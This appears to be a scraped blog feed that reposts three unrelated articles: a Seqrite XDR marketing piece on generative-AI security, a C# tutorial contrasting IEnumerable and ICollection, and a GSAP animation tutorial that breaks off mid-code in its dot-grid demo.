نویسنده: post Bina

  • Revolutionizing XDR with Gen AI Cybersecurity

    Revolutionizing XDR with Gen AI Cybersecurity


    In today’s digital era, cyber threats evolve at an alarming pace. Advanced persistent threats (APTs) infiltrate networks, exfiltrating sensitive data over time. Security teams grapple with overwhelming alert volumes, siloed tools, and manual processes that delay responses. Seqrite XDR, empowered by Gen AI cybersecurity, offers a transformative solution. This blog delves into the power of XDR, the role of Gen AI in cybersecurity in enhancing it, and the unmatched capabilities of Seqrite XDR with Seqrite Intelligent Assistant (SIA), the Gen AI-powered  virtual security analyst.

    What is  XDR

    Extended Detection and Response (XDR) is a comprehensive cybersecurity platform. It integrates security across endpoints, networks, and cloud environments, surpassing traditional endpoint protection. XDR provides a unified approach to threat management, enabling organizations to stay ahead of sophisticated attacks. Its core capabilities include:

    • Holistic Visibility: Monitors all attack surfaces for complete oversight.
    • Advanced Threat Detection: Leverages analytics to identify complex threats.
    • Automated Response: Swiftly isolates or mitigates risks.
    • Proactive Threat Hunting: Searches for indicators of compromise (IOCs).
    • Efficient Incident Management: Streamlines investigation and remediation processes.

    XDR eliminates the fragmentation of siloed tools. It reduces operational complexity. It empowers security teams to respond with speed and precision, ensuring robust protection against modern cyber threats.

    How Gen AI Enhances XDR

    Gen AI in cybersecurity is a game-changer for XDR. It processes massive datasets in real-time, uncovering patterns that evade human analysts. By integrating Gen AI cybersecurity, XDR platforms become more innovative and more responsive. Key enhancements include:

    • Real-Time Anomaly Detection: Identifies threats instantly with unparalleled accuracy.
    • Automated Incident Summaries: Delivers concise insights for rapid decision-making.
    • Contextual Threat Mapping: Correlates alerts with frameworks like MITRE ATT&CK.
    • Intelligent Analyst Support: Provides natural-language guidance for investigations.

    Gen AI in cybersecurity minimizes false positives by 40-70%. It prioritizes critical alerts, reducing alert fatigue. It enables security teams to focus on high-impact threats, enhancing overall efficiency. With Gen AI in cybersecurity, XDR becomes a proactive shield against evolving dangers.

    Seqrite XDR with Gen AI Capabilities

    Seqrite XDR is a leading cybersecurity solution. It combines advanced analytics, machine learning, and multi-layered security to combat sophisticated threats. Integrated with SIA, a Gen AI-powered virtual security analyst, Seqrite XDR sets a new standard. Its capabilities include:

    • SIA-Powered Investigations: SIA processes prompts like “Investigate incident UUID-12345” for rapid, detailed analysis.
    • Multi-Layered Protection: Defends against zero-day threats with robust defenses.
    • Real-Time Threat Hunting: Uses IOCs and MITRE TTP-based rules for precise detection.
    • Playbook Automation: Streamlines manual and automatic response workflows.
    • Intuitive Dashboard: Offers unified visibility into endpoints, alerts, and incidents.
    • Scalability and Flexibility: Adapts to growing business and IT needs.
    • Compliance Support: Provides real-time monitoring and audit logs for regulatory adherence.

    SIA leverages Gen AI cybersecurity to simplify complex tasks. It reduces analyst workload by 50%. It integrates Endpoint Protection Platform (EPP) capabilities, ensuring comprehensive protection. Seqrite XDR’s unified platform uncovers hidden threats that siloed tools miss. It delivers actionable insights through SIA’s conversational interface, enabling faster investigations.

    Ready to revolutionize your cybersecurity? Seqrite XDR with SIA harnesses Gen AI cybersecurity to deliver unmatched protection. Contact Seqrite at 1800-212-7377 or visit Seqrite XDR to experience AI-driven security.

    Discover Seqrite XDR Today

     



    Source link

  • IEnumerable vs ICollection, and why it matters | Code4IT

    IEnumerable vs ICollection, and why it matters | Code4IT


    Just a second! 🫷
    If you are here, it means that you are a software developer.
    So, you know that storage, networking, and domain management have a cost .

    If you want to support this blog, please ensure that you have disabled the adblocker for this site.
    I configured Google AdSense to show as few ADS as possible – I don’t want to bother you with lots of ads, but I still need to add some to pay for the resources for my site.

    Thank you for your understanding.
    Davide

    Defining the best return type is crucial to creating a shared library whose behaviour is totally under your control.

    You should give the consumers of your libraries just the right amount of freedom to integrate and use the classes and structures you have defined.

    That’s why it is important to know the differences between interfaces like IEnumerable<T> and ICollection<T>: these interfaces are often used together but have totally different meanings.

    IEnumerable: loop through the items in the collection

    Suppose that IAmazingInterface is an interface you expose so that clients can interact with it without knowing the internal behaviour.

    You have defined it this way:

    public interface IAmazingInterface
    {
        IEnumerable<int> GetNumbers(int[] numbers);
    }
    

    As you can see, the GetNumbers returns an IEnumerable<int>: this means that (unless they do some particular tricks like using reflection), clients will only be able to loop through the collection of items.

    Clients don’t know that, behind the scenes, AmazingClass uses a custom class MySpecificEnumberable.

    public class AmazingClass: IAmazingInterface
    {
        public IEnumerable<int> GetNumbers(int[] numbers)
            => new MySpecificEnumberable(numbers);
    }
    

    MySpecificEnumberable is a custom class whose purpose is to store the initial values in a sorted way. It implements IEnumerable<int>, so the only operations you have to support are the two implementations of GetEnumerator() – pay attention to the returned data type!

    public class MySpecificEnumberable : IEnumerable<int>
    {
        private readonly int[] _numbers;
    
        public MySpecificEnumberable(int[] numbers)
        {
            _numbers = numbers.OrderBy(_ => _).ToArray();
        }
    
        public IEnumerator<int> GetEnumerator()
        {
            foreach (var number in _numbers)
            {
                yield return number;
            }
        }
    
        IEnumerator IEnumerable.GetEnumerator()
            => _numbers.GetEnumerator();
    }
    

    Clients will then be able to loop all the items in the collection:

    IAmazingInterface something = new AmazingClass();
    var numbers = something.GetNumbers([1, 5, 6, 9, 8, 7, 3]);
    
    foreach (var number in numbers)
    {
        Console.WriteLine(number);
    }
    

    But you cannot add or remove items from it.

    ICollection: list, add, and remove items

    As we saw, IEnumerable<T> only allows you to loop through all the elements. However, you cannot add or remove items from an IEnumerable<T>.

    To do so, you need something that implements ICollection<T>, like the following class (I haven’t implemented any of these methods: I want you to focus on the operations provided, not on the implementation details).

    class MySpecificCollection : ICollection<int>
    {
        public int Count => throw new NotImplementedException();
    
        public bool IsReadOnly => throw new NotImplementedException();
    
        public void Add(int item) => throw new NotImplementedException();
    
        public void Clear() => throw new NotImplementedException();
    
        public bool Contains(int item) => throw new NotImplementedException();
    
        public void CopyTo(int[] array, int arrayIndex) => throw new NotImplementedException();
    
        public IEnumerator<int> GetEnumerator() => throw new NotImplementedException();
    
        public bool Remove(int item) => throw new NotImplementedException();
    
        IEnumerator IEnumerable.GetEnumerator() => throw new NotImplementedException();
    }
    

    ICollection<T> is a subtype of IEnumerable<T>, so everything we said before is still valid.

    However, having a class that implements ICollection<T> gives you full control over how items can be added or removed from the collection, allowing you to define custom behaviour. For instance, you can define that the Add method adds an integer only if it’s an odd number.

    Why knowing the difference actually matters

    Classes and interfaces are meant to be used. If you are like me, you work on both the creation of the class and its consumption.

    So, if an interface must return a sequence of items, you most probably use the List shortcut: define the return type of the method as List<Item>, and then use it, regardless of having it looped through or having the consumer add items to the sequence.

    // in the interface
    public interface ISomething
    {
        List<Item> PerformSomething(int[] numbers);
    }
    
    
    // in the consumer class
    ISomething instance = //omitted
    List<Item> myItems = instance.PerformSomething([2, 3, 4, 5]);
    

    Everything works fine, but it works because we are in control of both the definition and the consumer.

    What if you have to expose the library to something outside your control?

    You have to consider two elements:

    • consumers should not be able to tamper with your internal implementation (for example, by adding items when they are not supposed to);
    • you should be able to change the internal implementation as you wish without breaking changes.

    So, if you want your users to just enumerate the items within a collection, you may start this way:

    // in the interface
    public interface ISomething
    {
        IEnumerable<Item> PerformSomething(int[] numbers);
    }
    
    // in the implementation
    
    IEnumerable<Item> PerformSomething(int[] numbers)
    {
        return numbers.Select(x => new Item(x)).ToList();
    }
    
    // in the consumer class
    
    ISomething instance = //omitted
    IEnumerable<Item> myItems = instance.PerformSomething([2, 3, 4, 5]);
    

    Then, when the time comes, you can change the internal implementation of PerformSomething with a more custom class:

    // custom IEnumerable definition
    public class MyCustomEnumberable : IEnumerable<Item> { /*omitted*/ }
    
    // in the interface
    IEnumerable<Item> PerformSomething(int[] numbers)
    {
        MyCustomEnumberable customEnumerable = new MyCustomEnumberable();
        customEnumerable.DoSomething(numbers);
        return customEnumerable;
    }
    

    And the consumer will not notice the difference. Again, unless they try to use tricks to tamper with your code!

    This article first appeared on Code4IT 🐧

    Wrapping up

    While understanding the differences between IEnumerable and ICollection is trivial, understanding why you should care about them is not.

    IEnumerable and ICollection hierarchy

    I hope this article helped you understand that yeah, you can take the easy way and return everywhere a List, but it’s a choice that you cannot always apply to a project, and that probably will make breaking changes more frequent in the long run.

    I hope you enjoyed this article! Let’s keep in touch on LinkedIn or Twitter! 🤜🤛

    Happy coding!

    🐧





    Source link

  • From SplitText to MorphSVG: 5 Creative Demos Using Free GSAP Plugins

    From SplitText to MorphSVG: 5 Creative Demos Using Free GSAP Plugins


    We assume that by now you’ve all read the wonderful news about GSAP now becoming 100% free, for everyone. Thanks to Webflow’s support, all of the previously paid plugins in GSAP are now accessible to everyone. That’s why today, Osmo, Codrops and GSAP are teaming up to bring you 5 demos, available both as a Webflow cloneable and CodePen. We hope these will provide a fun intro to some cool plugins and spark a few ideas!

    What you’ll learn:

    • SplitText basics: Break text into lines, words, or letters—with the new automatic resizing and built-in masking options!
    • DrawSVG scribbles: Add a playful, randomized underline to links (or anything) on hover using DrawSVG.
    • Physics2D text smash: Combine SplitText + Physics2D so your headline shatters into letters that tumble off the top of the viewport like a roof.
    • Inertia dot grid: Create an interactive, glowing dot matrix that springs and flows with your cursor for a dynamic background effect.
    • MorphSVG toggle: Build a seamless play/pause button that morphs one SVG into another in a single tween.

    Before we dive in, let’s make sure you have the GSAP core included in your project. I will let you know the exact plugins you need per demo! You can use the official GSAP Install Helper if you need the correct npm commands or CDN links. If you’re following this as a Webflow user and you want to build from scratch, Webflow has made it super easy to integrate GSAP into your project. If you want, you can read more here. When using this approach, just make sure to add your custom code somewhere in the before </body> section of the page or project settings.

    Perfect, with that set, let’s start building an interactive SplitText demo!

    Interactive SplitText Demo

    Before we dive into code, a couple notes:

    • Plugins needed: GSAP core, SplitText, and (optionally) CustomEase.
      • The CustomEase plugin isn’t required—feel free to swap in any ease or omit it entirely—but we’ll use it here to give our animation a distinctive feel.
    • Demo purpose: We’re building an interactive demo here, with buttons to trigger different reveal styles. If you just want a one-off split-text reveal (e.g. on scroll or on load), you can skip the buttons and wire your tween directly into ScrollTrigger, Click handlers, etc.

    HTML and CSS Setup

    <div class="text-demo-wrap">
      <h1 data-split="heading" class="text-demo-h">
        We’re using GSAP’s SplitText to break this content into lines, words, and individual characters. Experiment with staggered tweens, custom ease functions, and dynamic transforms to bring your headlines to life.
      </h1>
      <div class="text-demo-buttons">
        <button data-split="button" data-split-type="lines" class="text-demo-button"><span>Lines</span></button>
        <button data-split="button" data-split-type="words" class="text-demo-button"><span>Words</span></button>
        <button data-split="button" data-split-type="letters" class="text-demo-button"><span>Letters</span></button>
      </div>
    </div>
    body {
      color: #340824;
      background-color: #d8e1ed;
    }
    
    .text-demo-wrap {
      display: flex;
      flex-direction: column;
      align-items: center;
      gap: 4.5em;
      max-width: 70em;
      margin: 0 auto;
      padding: 0 1.25em;
    }
    
    .text-demo-h {
      font-size: 3.25vw;
      font-weight: 500;
      line-height: 1.15;
      text-align: center;
      margin: 0;
    }
    
    .text-demo-buttons {
      display: flex;
      gap: 1.25em;
    }
    
    .text-demo-button {
      padding: .625em 1.25em;
      font-size: 1.625em;
      border-radius: 100em;
      background: #fff;
      transition: background .15s, color .15s;
    }
    .text-demo-button:hover {
      background: #340824;
      color: #fff;
    }

    1. Register plugins (and optional ease)

    Start by registering SplitText (and CustomEase, if you’d like a bespoke curve).

    gsap.registerPlugin(SplitText, CustomEase);
    
    // Optional: a custom ease
    CustomEase.create("osmo-ease", "0.625, 0.05, 0, 1");

    2. Split your heading into lines, words & letters

    This single call does the heavy lifting: it splits your <h1> into three levels of granularity, wraps each line in a masked container, and keeps everything in sync on resize.

    const heading = document.querySelector('[data-split="heading"]');
    
    SplitText.create(heading, {
      type: "lines, words, chars", // split by lines, words & characters
      mask: "lines", // optional: wraps each line in an overflow-clip <div> for a mask effect later
      linesClass: "line",
      wordsClass: "word",
      charsClass: "letter"
    });

    mask: "lines" wraps each line in its own container so you can do masked reveals without extra markup.

    3. Hook up the buttons

    Since this is a showcase, we’ve added three buttons. One each for “Lines”, “Words” and “Letters”—to let users trigger each style on demand. In a real project you might fire these tweens on scroll, on page load, or when another interaction occurs.

    To keep our code a bit cleaner, we define a config object that maps each split type to its ideal duration and stagger. Because lines, words, and letters have vastly different counts, matching your timing to the number of elements ensures each animation feels tight and responsive.

    If you used the same stagger for letters as you do for lines, animating dozens (or hundreds) of chars would take forever. Tailoring the stagger to the element count keeps the reveal snappy.

    // 1. Define per-type timing
    const config = {
      lines: { duration: 0.8, stagger: 0.08 },
      words: { duration: 0.6, stagger: 0.06 },
      letters: { duration: 0.4, stagger: 0.008 }
    };

    Next, our animate(type) function:

    function animate(type) {
      // 1) Clean up any running tween so clicks “restart” cleanly
      if (currentTween) {
        currentTween.kill();
        gsap.set(currentTargets, { yPercent: 0 });
      }
    
      // 2) Pull the right timing from our config
      const { duration, stagger } = config[type];
    
      // 3) Match the button’s data-split-type to the CSS class
      // Our SplitText call used linesClass="line", wordsClass="word", charsClass="letter"
      const selector = type === "lines" ? ".line"
                     : type === "words" ? ".word"
                                        : ".letter";
    
      // 4) Query the correct elements and animate
      currentTargets = heading.querySelectorAll(selector);
      currentTween = gsap.fromTo(
        currentTargets,
        { yPercent: 110 },
        { yPercent: 0, duration, stagger, ease: "osmo-ease" }
      );
    }

    Notice how type (the button’s data-split-type) directly aligns with our config keys and the class names we set on each slice. This tidy mapping means you can add new types (or swap class names) without rewriting your logic—just update config (and your SplitText options) and the function auto-adapts.

    Finally, tie it all together with event listeners:

    const buttons = document.querySelectorAll('[data-split="button"]');
    
    buttons.forEach(btn =>
      btn.addEventListener("click", () =>
        animate(btn.dataset.splitType)
      )
    );

    4. Putting it all together

    Let’s put all of our JS together in one neat function, and call it as soon as our fonts are loaded. This way we avoid splitting text while a fallback font is visible, and with that, we avoid any unexpected line breaks.

    // JavaScript (ensure GSAP, SplitText & CustomEase are loaded)
    gsap.registerPlugin(SplitText, CustomEase);
    CustomEase.create("osmo-ease", "0.625, 0.05, 0, 1");
    
    function initSplitTextDemo() {
      const heading = document.querySelector('[data-split="heading"]');
      SplitText.create(heading, {
        type: "lines, words, chars",
        mask: "lines",
        linesClass: "line",
        wordsClass: "word",
        charsClass: "letter"
      });
    
      const config = {
        lines: { duration: 0.8, stagger: 0.08 },
        words: { duration: 0.6, stagger: 0.06 },
        letters: { duration: 0.4, stagger: 0.008 }
      };
    
      let currentTween, currentTargets;
    
      function animate(type) {
        if (currentTween) {
          currentTween.kill();
          gsap.set(currentTargets, { yPercent: 0 });
        }
    
        const { duration, stagger } = config[type];
        const selector = type === "lines" ? ".line"
                       : type === "words" ? ".word"
                                          : ".letter";
    
        currentTargets = heading.querySelectorAll(selector);
        currentTween = gsap.fromTo(
          currentTargets,
          { yPercent: 110 },
          { yPercent: 0, duration, stagger, ease: "osmo-ease" }
        );
      }
    
      document.querySelectorAll('[data-split="button"]').forEach(btn =>
        btn.addEventListener("click", () =>
          animate(btn.dataset.splitType)
        )
      );
    }
    
    document.fonts.ready.then(initSplitTextDemo);

    5. Resources & links

    Give it a spin yourself! Find this demo on CodePen and grab the Webflow cloneable below. For a deep dive into every available option, check out the official SplitText docs, and head over to the CustomEase documentation to learn how to craft your own easing curves.

    Webflow Cloneable

    CodePen

    We’ll continue next with the Physics2D Text Smash demo—combining SplitText with another GSAP plugin for a totally different effect.

    Physics2D Text Smash Demo

    If you weren’t aware already, with the recent Webflow × GSAP announcements, SplitText received a major overhaul—packed with powerful new options, accessibility improvements, and a dramatically smaller bundle size. Check out the SplitText docs for all the details.

    Unlike our previous demo (which was more of an interactive playground with buttons), this effect is a lot closer to a real-world application; as you scroll, each heading “breaks” into characters and falls off of your viewport like it’s hit a roof—thanks to ScrollTrigger and Physics2DPlugin.

    Before we dive into code, a couple notes:

    • Plugins needed: GSAP core, SplitText, ScrollTrigger, and Physics2DPlugin.
    • Assets used: We’re using some squiggly, fun, 3D objects from a free pack on wannathis.one. Definitely check out their stuff, they have more fun things!
    • Demo purpose: We’re combining SplitText + Physics2D on scroll so your headings shatter into characters and “fall” off the top of the viewport, as if they hit a ‘roof’.

    HTML & CSS Setup

      <div class="drop-wrapper">
        <div class="drop-section">
          <h1 data-drop-text="" class="drop-heading">
            This is just a
            <span data-drop-img="" class="drop-heading-img is--first"><img loading="lazy" src="https://cdn.prod.website-files.com/681a615bf5a0f1ba3cb1ca38/681a62d0bb34b74d3514ecab_shape-squigle-1.png" alt=""></span>
            random quote
            <span data-drop-img="" class="drop-heading-img is--second"><img loading="lazy" src="https://cdn.prod.website-files.com/681a615bf5a0f1ba3cb1ca38/681a62d0bb34b74d3514ecad_shape-squigle-2.png" alt=""></span>
            we used
          </h1>
        </div>
        <div class="drop-section">
          <h1 data-drop-text="" class="drop-heading">
            See how our window acts like
            <span data-drop-img="" class="drop-heading-img is--third"><img loading="lazy" src="https://cdn.prod.website-files.com/681a615bf5a0f1ba3cb1ca38/681a62d0bb34b74d3514ecaf_shape-squigle-3.png" alt=""></span>
            a roof?
          </h1>
        </div>
        <div class="drop-section">
          <h1 data-drop-text="" class="drop-heading">So much fun!</h1>
        </div>
      </div>
    body {
      color: #efeeec;
      background-color: #340824;
    }
    
    .drop-wrapper {
      width: 100%;
      min-height: 350vh;
    }
    
    .drop-section {
      display: flex;
      justify-content: center;
      align-items: center;
      min-height: 100vh;
      position: relative;
    }
    
    .drop-heading {
      max-width: 40rem;
      margin: 0;
      font-size: 4rem;
      font-weight: 500;
      line-height: 1;
      text-align: center;
    }
    
    .drop-heading-img {
      display: inline-block;
      position: relative;
      width: 1.4em;
      z-index: 2;
    }
    
    .drop-heading-img.is--first {
      transform: rotate(-20deg) translate(.15em, -.2em);
    }
    
    .drop-heading-img.is--second {
      transform: translate(-.15em) rotate(10deg);
    }
    
    .drop-heading-img.is--third {
      transform: translate(-.05em, .1em) rotate(50deg);
      margin: 0 .1em;
    }

    1. Register plugins

    Start by registering all of our necessary plugins

    gsap.registerPlugin(ScrollTrigger, SplitText, Physics2DPlugin);

    2. SplitText setup

    We’re using aria: true here to automatically add an aria-label on the wrapper and hide split spans from screen readers. Since the latest update, aria: true is the default, so you don’t necessarily have to add it here—but we’re highlighting it for the article.

    We split the text as soon as the code runs, so that we can attach a callback to the new onSplit function, but more on that in step 3.

    new SplitText("[data-drop-text]", {
      type: "lines, chars",
      autoSplit: true,  // re-split if the element resizes and it's split by lines
      aria: true, // default now, but worth highlighting!
      linesClass: "line",
    });

    With the recent SplitText update, there’s also a new option called autoSplit—which takes care of resize events, and re-splitting your text.

    An important caveat for the autoSplit option; you should always create your animations in the (also new!) onSplit() callback so that if your text re-splits (when the container resizes or a font loads in), the resulting animations affect the freshly-created line/word/character elements instead of the ones from the previous split. If you’re planning on using a non-responsive font-size or just want to learn more about this (awesome) new feature that takes care of responsive line splitting, check out the documentation here.

    3. Trigger on scroll

    In our onSplit callback, we loop over each line in the heading, inside of a context. This context, which we return at the end, makes sure GSAP can clean up this animation whenever the text re-splits.

    In our loop, we create a ScrollTrigger for each line, and we set once: true, so our animation only fires once. In step 4 we’ll add our animation!

    It’s worth playing around with the start values to really nail the moment where your text visually ‘touches’ the top of the window. For our font, size, and line-height combo, an offset of 10px worked great.

    new SplitText("[data-drop-text]", {
      type: "lines, chars",
      autoSplit: true,
      aria: true,
      linesClass: "line",
      onSplit(self) {
        // use a context to collect up all the animations
        let ctx = gsap.context(() => {
          self.lines.forEach((line) => { // loop around the lines          
            gsap.timeline({
              scrollTrigger: {
                once: true, // only fire once
                trigger: line, // use the line as a trigger
                start: "top top-=10" // adjust the trigger point to your liking
              }
            })
          });
        });
    
        return ctx; // return our animations so GSAP can clean them up when onSplit fires
      }
    });

    4. Drop the letters with Physics2D

    Now, let’s add 2 tweens to our timeline. The first one, using the Physics2D plugin, sends each child element of the line, flying straight down with randomized velocity, angle, and gravity. A second tween makes sure the elements are faded out towards the end.

    new SplitText("[data-drop-text]", {
      type: "lines, chars",
      autoSplit: true,
      aria: true,
      linesClass: "line",
      onSplit(self) {
        // use a context to collect up all the animations
        let ctx = gsap.context(() => {
          self.lines.forEach((line) => { // loop around the lines          
            gsap.timeline({
              scrollTrigger: {
                once: true, // only fire once
                trigger: line, // use the line as a trigger
                start: "top top-=10" // adjust the trigger point to your liking
              }
            })
            .to(line.children, { // target the children
              duration: "random(1.5, 3)", // Use randomized values for a more dynamic animation
              physics2D: {
                velocity: "random(500, 1000)",
                angle: 90,
                gravity: 3000
              },
              rotation: "random(-90, 90)",
              ease: "none"
            })
            .to(line.children,{ // Start fading them out
              autoAlpha: 0,
              duration: 0.2
             }, "-=.2");
          });
        });
    
        return ctx; // return our animations so GSAP can clean them up when onSplit fires
      }
    });

    Tip: use gsap.utils.random()! Giving each char and image a slightly different speed and spin creates a joyful, and more natural feeling to it all.

    5. Putting it all together

    gsap.registerPlugin(ScrollTrigger, SplitText, Physics2DPlugin);
    
    function initDroppingText() {
      new SplitText("[data-drop-text]", {
        type: "lines, chars",
        autoSplit: true,
        aria: true,
        linesClass: "line",
        onSplit(self) {
          // use a context to collect up all the animations
          let ctx = gsap.context(() => {
            self.lines.forEach((line) => {         
              gsap
                .timeline({
                  scrollTrigger: {
                    once: true,
                    trigger: line,
                    start: "top top-=10"
                  }
                })
                .to(line.children, { // target the children
                  duration: "random(1.5, 3)", // Use randomized values for a more dynamic animation
                  physics2D: {
                    velocity: "random(500, 1000)",
                    angle: 90,
                    gravity: 3000
                  },
                  rotation: "random(-90, 90)",
                  ease: "none"
                })
                .to(
                  line.children,
                  {
                    autoAlpha: 0,
                    duration: 0.2
                  },
                  "-=.2"
                );
            });
          });
    
          return ctx; // return our animations so GSAP can clean them up when onSplit fires
        }
      });
    }
    
    document.addEventListener("DOMContentLoaded", initDroppingText);

    6. Resources & links

    Webflow Cloneable

    CodePen

    Next up: an interactive Inertia Dot Grid that springs and flows with your cursor!

    Glowing Interactive Dot Grid

    InertiaPlugin (formerly ThrowPropsPlugin) allows you to smoothly glide any property to a stop, honoring an initial velocity as well as applying optional restrictions on the end value. It brings real-world momentum to your elements, letting them move with an initial velocity and smoothly slow under configurable resistance. You simply specify a starting velocity and resistance value, and the plugin handles the physics.

    In this demo, we’re using a quick-to-prototype grid of <div> dots that glow as your cursor approaches, spring away on rapid mouse movements, and ripple outward on clicks. While a Canvas or WebGL approach would scale more efficiently for thousands of particles and deliver higher frame-rates, our div-based solution keeps the code simple and accessible—perfect for spotlighting InertiaPlugin’s capabilities.

    Before we dive in:

    • Plugins needed: GSAP core and InertiaPlugin.
    • Demo purpose: Build a responsive grid of dots that glow with proximity and spring away on fast mouse moves or clicks—showcasing how the InertiaPlugin can add playful, physics-based reactions to a layout.

    HTML & CSS Setup

    <div class="dots-wrap">
      <div data-dots-container-init class="dots-container">
        <div class="dot"></div>
      </div>
    </div>
    
    <section class="section-resource">
      <a href="https://osmo.supply/" target="_blank" class="osmo-icon__link">
    	  <svg xmlns="http://www.w3.org/2000/svg" width="100%" viewbox="0 0 160 160" fill="none" class="osmo-icon-svg">
          <path d="M94.8284 53.8578C92.3086 56.3776 88 54.593 88 51.0294V0H72V59.9999C72 66.6273 66.6274 71.9999 60 71.9999H0V87.9999H51.0294C54.5931 87.9999 56.3777 92.3085 53.8579 94.8283L18.3431 130.343L29.6569 141.657L65.1717 106.142C67.684 103.63 71.9745 105.396 72 108.939V160L88.0001 160L88 99.9999C88 93.3725 93.3726 87.9999 100 87.9999H160V71.9999H108.939C105.407 71.9745 103.64 67.7091 106.12 65.1938L106.142 65.1716L141.657 29.6568L130.343 18.3432L94.8284 53.8578Z" fill="currentColor"></path>
        </svg>
      </a>
    </section>
    body {
      overscroll-behavior: none;
      background-color: #08342a;
      color: #efeeec;
    }
    
    .dots-container {
      position: absolute;
      inset: 4em;
      display: flex;
      flex-flow: wrap;
      gap: 2em;
      justify-content: center;
      align-items: center;
      pointer-events: none;
    }
    
    .dot {
      position: relative;
      width: 1em;
      height: 1em;
      border-radius: 50%;
      background-color: #245e51;
      transform-origin: center;
      will-change: transform, background-color;
      transform: translate(0);
      place-self: center;
    }
    
    .section-resource {
      color: #efeeec;
      justify-content: center;
      align-items: center;
      display: flex;
      position: absolute;
      inset: 0;
    }
    
    .osmo-icon-svg {
      width: 10em;
    }
    
    .osmo-icon__link {
      color: currentColor;
      text-decoration: none;
    }

    1. Register plugins

    gsap.registerPlugin(InertiaPlugin);

    2. Build your grid & optional center hole

    First, wrap everything in an initGlowingInteractiveDotsGrid() function and declare your tweakable parameters—colors, glow distance, speed thresholds, shockwave settings, max pointer speed, and whether to carve out a center hole for a logo. We also set up two arrays, dots and dotCenters, to track the elements and their positions.

    function initGlowingInteractiveDotsGrid() {
      const container = document.querySelector('[data-dots-container-init]');
      const colors = { base: "#245E51", active: "#A8FF51" };
      const threshold = 200;
      const speedThreshold = 100;
      const shockRadius = 325;
      const shockPower = 5;
      const maxSpeed = 5000;
      const centerHole = true;
      let dots = [];
      let dotCenters = [];
    
      // buildGrid(), mousemove & click handlers defined next…
    }

    With those in place, buildGrid() figures out how many columns and rows fit based on your container’s em sizing, then optionally carves out a perfectly centered block of 4 or 5 columns/rows (depending on whether the grid dimensions are even or odd) if centerHole is true. That hole gives space for your logo; set centerHole = false to fill every cell.

    Inside buildGrid(), we:

    1. Clear out any existing dots and reset our arrays.
    2. Read the container’s fontSize to get dotPx (in px) and derive gapPx.
    3. Calculate how many columns and rows fit, plus the total cells.
    4. Compute a centered “hole” of 4 or 5 columns/rows if centerHole is true, so you can place a logo or focal element.
    function buildGrid() {
      container.innerHTML = "";
      dots = [];
      dotCenters = [];
    
      const style = getComputedStyle(container);
      const dotPx = parseFloat(style.fontSize);
      const gapPx = dotPx * 2;
      const contW = container.clientWidth;
      const contH = container.clientHeight;
      const cols = Math.floor((contW + gapPx) / (dotPx + gapPx));
      const rows = Math.floor((contH + gapPx) / (dotPx + gapPx));
      const total = cols * rows;
    
      const holeCols = centerHole ? (cols % 2 === 0 ? 4 : 5) : 0;
      const holeRows = centerHole ? (rows % 2 === 0 ? 4 : 5) : 0;
      const startCol = (cols - holeCols) / 2;
      const startRow = (rows - holeRows) / 2;
    
      // …next: loop through each cell to create dots…
    }

    Now loop over every cell index. Inside that loop, we hide any dot in the hole region and initialize the visible ones with GSAP’s set(). Each dot is appended to the container and pushed into our dots array for tracking.

    For each dot:

    • If it falls in the hole region, we hide it.
    • Otherwise, we position it at { x: 0, y: 0 } with the base color and mark it as not yet sprung.
    • Append it to the container and track it in dots.
    // ... add this to the buildGrid() function
    
    for (let i = 0; i < total; i++) {
      const row = Math.floor(i / cols);
      const col = i % cols;
      const isHole =
        centerHole &&
        row >= startRow &&
        row < startRow + holeRows &&
        col >= startCol &&
        col < startCol + holeCols;
    
      const d = document.createElement("div");
      d.classList.add("dot");
    
      if (isHole) {
        d.style.visibility = "hidden";
        d._isHole = true;
      } else {
        gsap.set(d, { x: 0, y: 0, backgroundColor: colors.base });
        d._inertiaApplied = false;
      }
    
      container.appendChild(d);
      dots.push(d);
    }
    
    // ... more code added below

    Finally, once the DOM is updated, measure each visible dot’s center coordinate—including any scroll offset—so we can calculate distances later. Wrapping in requestAnimationFrame ensures the layout is settled.

    // ... add this to the buildGrid() function
    
    requestAnimationFrame(() => {
      dotCenters = dots
        .filter(d => !d._isHole)
        .map(d => {
          const r = d.getBoundingClientRect();
          return {
            el: d,
            x: r.left + window.scrollX + r.width / 2,
            y: r.top + window.scrollY + r.height / 2
          };
        });
    });
    
    // this is the end of the buildGrid() function

    By now, the complete buildGrid() function will look like the following:

    function buildGrid() {
      container.innerHTML = "";
      dots = [];
      dotCenters = [];
    
      const style = getComputedStyle(container);
      const dotPx = parseFloat(style.fontSize);
      const gapPx = dotPx * 2;
      const contW = container.clientWidth;
      const contH = container.clientHeight;
      const cols = Math.floor((contW + gapPx) / (dotPx + gapPx));
      const rows = Math.floor((contH + gapPx) / (dotPx + gapPx));
      const total = cols * rows;
    
      const holeCols = centerHole ? (cols % 2 === 0 ? 4 : 5) : 0;
      const holeRows = centerHole ? (rows % 2 === 0 ? 4 : 5) : 0;
      const startCol = (cols - holeCols) / 2;
      const startRow = (rows - holeRows) / 2;
    
      for (let i = 0; i < total; i++) {
        const row = Math.floor(i / cols);
        const col = i % cols;
        const isHole = centerHole &&
          row >= startRow && row < startRow + holeRows &&
          col >= startCol && col < startCol + holeCols;
    
        const d = document.createElement("div");
        d.classList.add("dot");
    
        if (isHole) {
          d.style.visibility = "hidden";
          d._isHole = true;
        } else {
          gsap.set(d, { x: 0, y: 0, backgroundColor: colors.base });
          d._inertiaApplied = false;
        }
    
        container.appendChild(d);
        dots.push(d);
      }
    
      requestAnimationFrame(() => {
        dotCenters = dots
          .filter(d => !d._isHole)
          .map(d => {
            const r = d.getBoundingClientRect();
            return {
              el: d,
              x: r.left + window.scrollX + r.width / 2,
              y: r.top + window.scrollY + r.height / 2
            };
          });
      });
    }

    At the end of initGlowingInteractiveDotsGrid(), we attach a resize listener and invoke buildGrid() once to kick things off:

    window.addEventListener("resize", buildGrid);
    buildGrid();

    3. Handle mouse move interactions

    As the user moves their cursor, we calculate its velocity by comparing the current e.pageX/e.pageY to the last recorded position over time (dt). We clamp that speed to maxSpeed to avoid runaway values. Then, on the next animation frame, we loop through each dot’s center:

    • Compute its distance to the cursor and derive t = Math.max(0, 1 - dist / threshold).
    • Interpolate its color from colors.base to colors.active.
    • If speed > speedThreshold and the dot is within threshold, mark it _inertiaApplied and fire an inertia tween to push it away before it springs back.

    All this still goes inside of our initGlowingInteractiveDotsGrid() function:

    let lastTime = 0
    let lastX = 0
    let lastY = 0
    
    window.addEventListener("mousemove", e => {
      const now = performance.now()
      const dt = now - lastTime || 16
      let dx = e.pageX - lastX
      let dy = e.pageY - lastY
      let vx = (dx / dt) * 1000
